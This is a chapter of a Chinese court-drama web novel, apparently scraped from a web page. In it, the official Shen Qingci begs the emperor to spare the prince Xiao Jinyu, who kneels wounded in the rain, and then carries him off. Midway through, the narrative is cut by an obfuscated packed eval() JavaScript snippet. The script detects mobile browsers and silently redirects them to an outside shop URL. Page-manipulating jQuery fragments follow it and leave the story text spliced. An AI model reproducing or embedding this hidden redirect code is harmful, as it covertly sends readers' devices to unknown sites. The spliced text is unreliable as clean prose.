德昌站在廊下,手里的伞被风吹得东摇西晃,他不停地朝宫门方向张望,眉头拧成一个死结。雨水顺着伞骨淌下来,湿了他半边肩膀,他也浑然不觉。
他刚刚派小太监去给沈清辞传话,没有明说,只提了一句“平王殿下触怒圣颜,恐有不测”。沈大人是聪明人,应该懂的。
雨幕里终于出现了一个人影。
那人没有打伞,从宫门方向一路跑来,月白色的衣袍被雨水浇透,紧紧贴在身上,靴子里似乎灌满了水,每一步都踩出沉闷的水声,他的头发散了一半,湿漉漉地贴在脸侧,整个人像是从水里捞出来的。
德昌几乎是跑着迎了上去,老太监腿脚不便,踩着积水差点摔倒,但也顾不上了。
“沈大人!您可算来了——”德昌的声音里带着掩不住的焦急,“王爷他……陛下他……”
沈清辞顾不上跟他寒暄,雨水糊了满脸,他用手背抹了一把,声音被雨声吞了大半:“人在哪?”
德昌指了指大殿前那片空旷的广场。
沈清辞顺着他的手望去,瞳孔猛地一缩。
雨幕里,一个人跪在那里,官袍已经看不出颜色,湿透了贴在身上,勾勒出那道依然勉强支撑的脊线。
他跪得很直,可那姿势里已经有了力不从心的痕迹,肩膀微微前倾,撑在地上的手掌在发抖。
他的身下,雨水冲开一片淡淡的红色。
沈清辞的心脏像是被什么东西狠狠攥了一下,他没有再跟德昌多说一句话,拔腿就朝萧瑾珉的寝宫跑去,雨水灌进眼睛,他看不清路,一脚踩进一个水坑,踉跄了一下,又稳住身形继续跑。
他经过萧瑾瑜身边的时候,脚步顿了一顿。
他想停下来,他想蹲下来看看萧瑾瑜伤成什么样了,想伸手摸摸他的脸是不是还温热,想对他说一句“我来了”。
可他不能。
萧瑾珉还没有松口,他跪在这里,就还是一道没有解开的死结,沈清辞咬紧了牙,逼自己移开目光,继续朝殿门走去。
寝宫的大门紧闭着。
沈清辞在门前站定,雨水顺着他的衣角往下淌,在脚边汇成一个小水洼,他深吸一口气,那口气里全是雨水冰凉的气息,他跪了下来,膝盖磕在湿滑的石阶上,发出一声闷响。
“臣,沈清辞,求见陛下。”
殿内没有回应。
“臣沈清辞,求见陛下。”他的声音比方才大了一些,尾音却被风吹散。
还是没有回应。
沈清辞伏低了身子,额头抵在冰凉的石阶上,雨水顺着他的鼻梁滴落,他闭上眼,声音不大,却一字一句清清楚楚:“臣自知满身狼狈,殿前失仪,罪该万死。求陛下容臣先禀一事,臣愿领罚。”
殿内沉默了很久。
久到沈清辞以为萧瑾珉不会理他了,久到雨声吞噬了一切,久到他的膝盖已经麻木到失去了知觉。
然后门开了。
沈清辞站起身,膝盖僵了一下,差点又跪倒,他扶住门框稳住身形,迈步跨进了殿门。
殿内比外面暖和许多,龙涎香的气息混着雨水带来的潮气,有一种说不出的沉闷,萧瑾珉坐在龙案后面,没有穿龙袍,只着一件素白的中衣,头发散着,面色苍白,眼睛是红的,像是刚哭过,又像是很久没有合眼。
地上散落着很多碎瓷片,不知是什么东西被砸了。
沈清辞跪下去,雨水从他身上淌下来,在光洁的金砖上洇开一小片水渍。
“臣殿前失仪,请陛下治罪。”他的声音还在抖,不是害怕,是从雨中一路跑来还没缓过来。
萧瑾珉看着他,看了好一会儿。
“你是为了萧瑾瑜来的。”他的声音沙哑,不是疑问,是陈述。
沈清辞没有否认,他直起身,从怀中取出一样东西。
绢帛被雨水洇湿了边角,但那只黑色的锦匣被他护在怀里,一路跑来,竟几乎没有沾到雨水。
他展开那卷绢帛,空白,一个字也没有。
可那空白的绢帛,比任何写满了字的圣旨都重。
“陛下前几日赐臣此诏,说‘日后若有所需,自有用处’。”沈清辞举着那卷无字御诏,雨水从他的袖口滴落,滴在那片空白上,洇开一小朵一小朵的水花,“臣今日斗胆,请陛下用此诏,饶平王殿下一次。”
殿内安静了一瞬。
萧瑾珉的目光落在那卷空白绢帛上,眼底的情绪复杂得无法辨清,他看了很久,久到沈清辞的手臂开始发酸,久到那绢帛上的水渍又扩大了一圈。
“你用朕赐你的东西,来跟朕讲条件。”萧瑾珉的声音很轻,听不出喜怒。
“臣不敢跟陛下讲条件。”沈清辞垂下眼,声音却稳稳的,“臣只是……求陛下。”
他俯下身,额头再次叩在金砖上。
“陛下,平王殿下他……他做的一切,都是为了大晏,为了陛下。”沈清辞的声音从低处传来,闷闷的,却一字一句砸在殿内每一个角落,“他求陛下废妃,不是为了跟陛下作对,不是为了忤逆犯上,是因为他知道,那个人要害陛下,他拼了命要拉住的,是陛下的命。”
萧瑾珉的睫毛颤了一下。
“臣知道陛下心里苦,臣知道陛下……”沈清辞的声音忽然有些哽咽,他咬了一下唇,把那股酸涩压回去,“陛下不是看不明白,是不忍心看明白,可殿下他不能不让你看明白,他是陛下的弟弟,他不能眼睁睁看着陛下……”
他没有说下去。
有些话,说出来就是僭越,可他不说,这些事就永远烂在雨里,烂在那些碎瓷片和龙涎香里。
殿内沉默了许久。
萧瑾珉站起身,走到窗前,推开窗,雨声骤然灌进来,浇灭了殿内沉闷的寂静。他望着雨幕里那个还跪着的模糊身影,望着那道被雨水浇透却依然没有倒下的脊背。
那是他的弟弟。
是小时候被他们丢在冷宫,被欺负了好多年的弟弟,是从小到大都不爱说话不爱笑的弟弟,是他一母同胞的亲弟弟。
是今天被他打烂了后背,跪在暴雨里还在一遍一遍喊着“社稷”的弟弟。
萧瑾珉闭上眼。
“带他走。”他的声音很低,低到沈清辞差点没听见。
沈清辞猛地抬起头。
“朕说,带他走。”萧瑾珉没有回头,声音里带着一种说不清的疲惫和苍凉,“诏书你留着。朕……不要了。”
沈清辞的眼眶一热,他重重叩首,额头磕在金砖上发出一声闷响:“臣,谢陛下。”
他站起身,转身冲出殿门。
雨还在下,似乎比来时更大了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637690|205601||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
沈清辞几乎是连滚带爬地跑下石阶,积水溅了他满脸满身,但他顾不上了,他跑到萧瑾瑜身边,一把撑住那个摇摇欲坠的身体。
萧瑾瑜还跪着,膝盖像是已经钉死在了地上,浑身都在发抖,可那根脊梁,始终没有弯下去。
沈清辞蹲下来,伸手揽住他的肩膀,入手之处湿透的衣料底下,触感不对劲,凹凸不平,有些地方软得不像话,他的手微微发抖,不敢去想那底下是什么样。
“阿瑜。”沈清辞的声音在发抖,雨声太大了,他怕萧瑾瑜听不见,又唤了一声,“阿瑜,是我,我来了。”
萧瑾瑜的眼睫动了一下,那双眼睛缓缓睁开,瞳孔涣散了好一会儿才重新聚焦,落在沈清辞的脸上。雨水模糊了他的视线,他眨了眨眼,似乎不敢相信自己看见的是真的。
“……居远?”他的声音轻得像一缕快要断掉的风筝线,沙哑得几乎听不见。
“是我。”沈清辞把手臂穿过他的腋下,小心翼翼地扶他,“陛下答应放你走了,你坚持住,我带你回家。”
萧瑾瑜被他搀着勉强站起来,可双腿早就没有了知觉,膝盖刚一伸直就软了下去,整个人的重量全都压在了沈清辞身上。沈清辞被他带得踉跄了一步,咬紧牙关,把人牢牢箍在怀里,没有松手。
萧瑾瑜的头靠在沈清辞的肩窝里,雨水顺着两个人的脸颊往下淌。
他忽然轻轻地说了一句话。
那声音太小了,小到被雨声一盖就几乎听不见,可沈清辞听见了。他把耳朵贴在萧瑾瑜唇边,听见那沙哑破碎的声音一个字一个字地说:
“居远……我没有家……”
沈清辞的眼泪一下子就掉了下来。
他拼命忍着,咬住嘴唇,可眼泪根本不听他的话,混着雨水一起往下淌,滚烫的泪水遇上冰凉的雨水,在他脸上划出一道道温热的痕迹。
“你有家。”他的声音哽住了,可他还是使劲说,说得又急又快,像是怕萧瑾瑜听不见就不信了,“你有家,你有……”
他把萧瑾瑜抱得更紧了些,手臂箍住那具伤痕累累的身体,不敢用力,又不敢不用力。他怕弄疼他,可他更怕松手了这个人就会倒下去。
“你有我。”沈清辞的声音终于还是碎在了雨里,“我早就把你当家人了……阿瑜,你听见了吗?我就是你的家……”
萧瑾瑜的下巴抵在他的肩头,嘴角微微弯了一下。
那笑意很轻很淡,淡到几乎算不上一个笑。可沈清辞感受到了,靠在他肩窝里的那个人,紧绷了不知道多久的身体,忽然松了一点,像是终于放下了什么沉重的东西。
然后萧瑾瑜闭上了眼,整个人彻底失去了力气,沉沉地靠在沈清辞身上。
“阿瑜?阿瑜!”沈清辞慌了,伸手去摸他的脸,冰凉冰凉的,“萧子惜!你醒醒!你看着我——”
没有回应。
沈清辞的手在发抖,探到他鼻息的时候,那一点微弱却温热的呼吸触上指尖,他浑身的力气才重新涌回来。他大口大口地喘着气,雨水灌进嘴里,他呛了一下,咳了两声,又把人揽紧了。
“没关系。”他用只有自己能听见的声音说,像是在对萧瑾瑜说,又像是在对自己说,“没关系,我带你回去,我家有当代圣手张归真,你会没事的,你不会有事的……”